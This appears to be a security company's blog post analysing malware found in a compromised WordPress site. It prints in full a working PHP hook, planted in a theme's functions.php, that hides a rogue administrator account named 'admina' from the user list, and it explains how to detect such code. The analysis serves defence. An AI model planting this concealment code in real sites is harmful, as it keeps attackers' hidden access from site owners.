When a website is compromised, attackers perform post-exploitation tasks to maintain access to the site for as long as possible. One of these actions is usually the creation of admin users to remotely control the site or automate the creation or distribution of spam content. Unfortunately (for them), it’s really easy to detect and remove these fake users and they have to find and execute new techniques to actually hide them. During an investigation, we found a small piece of code inside the file “/current_wp_theme/functions.php” that caught our attention:
<?phpadd_action('pre_user_query','yoursite_pre_user_query');function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'admina') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where); }}
Basically this code is being used as a Hook for the action “pre_user_query”. According to the official documentation, this action “Fires after the WP_User_Query has been parsed, and before the query is executed” which allows us to actually modify the query of the WordPress core class “WP_User_Query” on the fly.
In this case, the attacker is using the function “str_replace()” to replace the original “user_search query”with one of his own, therefore making the malicious admin user “admina” invisible on the WordPress admin area (backend):
WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where
If you see malicious posts on your site with an unknown author and you are not able to find the user to remove it, your site may be infected with a similar code. Also, If you have a File Integrity Monitoring system in place, you should be able to detect such changes to the File System and take the appropriate actions to prevent / remediate the infection (remove / re-upload).